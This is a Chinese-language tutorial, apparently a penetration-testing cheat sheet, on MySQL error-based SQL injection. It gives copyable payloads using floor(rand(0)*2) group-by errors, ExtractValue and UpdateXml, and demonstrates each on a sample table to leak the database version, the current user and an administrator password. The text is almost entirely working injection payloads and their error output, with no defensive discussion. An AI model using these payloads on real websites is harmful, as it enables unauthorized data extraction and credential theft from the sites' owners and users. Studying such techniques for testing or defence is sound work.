1、通过floor报错,可以通过如下一些利用代码,and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);,and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2)));,举例如下：,首先进行正常查询：,mysql> select * from article where id = 1;,+—-+——-+———+,| id | title | content |,+—-+——-+———+,| 1 | test | do it |,+—-+——-+———+,假如id输入存在注入的话，可以通过如下语句进行报错。,mysql> select * from article where id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);,ERROR 1062 (23000): Duplicate entry ‘5.1.33-community-log1’ for key ‘group_key’,可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。,例如我们需要查询管理员用户名和密码：,Method1:,mysql> select * from article where id = 1 and (select 1 from (select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x from information_schema.tables group by x)a);,ERROR 1062 (23000): Duplicate entry ‘admin8881’ for key ‘group_key’,Method2:,mysql> select * from article where id = 1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),floor(rand(0)*2)));,ERROR 1062 (23000): Duplicate entry ‘admin8881’ for key ‘group_key’,2、ExtractValue,测试语句如下,and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));,实际测试过程,mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–,ERROR 1105 (HY000): XPATH syntax error: ‘\admin888’,3、UpdateXml,测试语句,and 1=(updatexml(1,concat(0x3a,(select user())),1)),实际测试过程,mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ‘:root@localhost’,
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